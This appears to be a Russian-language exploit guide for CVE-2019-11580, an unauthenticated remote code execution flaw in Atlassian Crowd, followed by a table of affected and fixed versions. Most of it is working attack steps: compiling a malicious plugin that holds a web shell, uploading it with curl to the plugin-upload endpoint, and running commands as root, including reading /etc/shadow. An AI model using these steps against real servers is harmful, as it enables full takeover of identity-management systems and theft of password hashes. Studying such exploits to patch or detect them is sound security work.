CVE-2019-11580

Atlassian Crowd и Crowd Data Center RCE

Использование:

python CVE-2019-11580.py http://xx.xx.xx.xx/

Crowd-2.11.0 Загрузка уязвимой версии

https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz

Powered by Atlassian Crowd Version: 2.11.0 (Build:#725 - 2017-01-11)

http://10.10.20.166:8095/crowd/admin/uploadplugin.action

http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

0x01 компиляция для rce.jar

javac -cp servlet-api.jar com/cdl/shell/exp.java

zip -r rce.jar atlassian-plugin.xml ./com

./compile.sh
updating: atlassian-plugin.xml (deflated 54%)
updating: com/ (stored 0%)
updating: com/cdl/ (stored 0%)
updating: com/cdl/shell/ (stored 0%)
updating: com/cdl/shell/exp.java (deflated 59%)
updating: com/cdl/shell/exp.class (deflated 45%)

0x02 загрузка rce.jar в crowd/admin/uploadplugin.action

curl -k -H "Content-Type: multipart/mixed" \
  --form "[email protected]" http://10.10.20.166:8095/crowd/admin/uploadplugin.action
  
Installed plugin /opt/atlassian/crowd/apache-tomcat/temp/plugindev-1059463178748466378rce.jar

0x03 получение оболочки

curl "http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=whoami"
>>> root

curl "http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=id"
>>> uid=0(root) gid=0(root) groups=0(root)

Настройка значения cmd:

https://github.com/lc/research/blob/master/CVE-2019-11580/atlassian-shell/com/cdl/shell/Cdl.java Идея из: https://www.t00ls.net/articles-51978.html Исходный код: String cmd="whoami"; Изменено на: String cmd=String.valueOf(req.getParameter("cmd"));

уязвимые версии

Affected Versions

Fixed Version

2.1.0, 2.1.1, 2.1.2, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.3.10, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.5.4, 2.5.5, 2.5.6, 2.5.7, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.7.0, 2.7.1, 2.7.2, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.6, 2.8.7, 2.8.8, 2.9.1, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.10.1, 2.10.2, 2.10.3, 2.10.4, 2.11.0, 2.11.1, 2.11.2, 2.12.0, 2.12.1, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4

3.0.5

3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.1.5

3.1.6

3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7

3.2.8

3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4

3.3.5

3.4.0, 3.4.1, 3.4.2, 3.4.3

3.4.4

Ссылки

https://www.t00ls.net/articles-51978.html
https://www.corben.io/atlassian-crowd-rce/
https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell